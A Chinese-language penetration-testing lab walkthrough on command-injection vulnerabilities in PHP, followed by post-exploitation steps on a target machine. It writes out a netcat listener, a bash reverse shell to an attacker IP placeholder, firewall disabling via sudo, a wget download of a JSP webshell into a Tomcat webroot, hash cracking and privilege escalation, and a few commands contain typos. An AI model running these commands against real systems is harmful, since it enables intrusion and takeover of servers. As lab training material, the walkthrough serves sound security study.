命令执行漏洞介绍
- 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
- 调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过虑用户的输入的情况下,就会造成命令执行漏洞。
手动渗透流程
- 信息探测
- 深度挖掘,发现可利用命令漏洞
- 漏洞利用
- 查看临时缓冲目录: ls -alh /tmp/
- 查看home目录,挖掘用户信息:ls -alh/home/
- 查看具体用户的目录:ls -alh/home/用户名/
- 查看系统信息: uname –a
- 利用ssh命令执行root权限命令:
- 使用ssh用户名@localhost通过ssh登录服务器是不需要身份验证的;
- 查看bill用户sudo命令的权限:ssh bill@localhost sudo –l
- 关闭防火墙: ssh bill@localhost sudo ufw disable
- 生成上传shell
- 攻击机启动监听netcat:nc -nlvp. 4444
- 靶场机器反弹tcp到shell:ssh bill@localhost sudo bash -i >& /dev /tcp/攻击机IP/4444 0>&1
- 方法二-也可以上传SHELL渗透测试技巧
- 开启python简易http服务器:python -m SimpleHTTPServer
- 利用命令执行下载木马文件:ssh bill@localhost sudo wget "http:/ /ip:port/shell.jsp" -O /var/lib/tomcat8/webapps/ROOT/shell.jsp
使用集成工具测试web命令执行漏洞
- 信息探测
- 使用sparta工具进行信息探测
- 输入sparta打开工具
- dirbuster需要设置的字典在这,设置已知信息
- 查看已经扫描到的敏感信息,发现一对hash
- 破解hash得到密码,尝试登陆,登陆成功
- 漏洞利用
- 使用AVWS工具进行扫描没有发现漏洞
- 反弹shell
- 查找敏感信息,发现一个
- 进入该文件夹,发现两个文件,查看说明,cutomPermissionApp是个用户权限提升文件
- 使用string命令查看文件有哪些敏感字符串
- 发现敏感信息
- 去掉H得到一个密码
- 尝试登陆su:sudo su 回车输入密码成功提升权限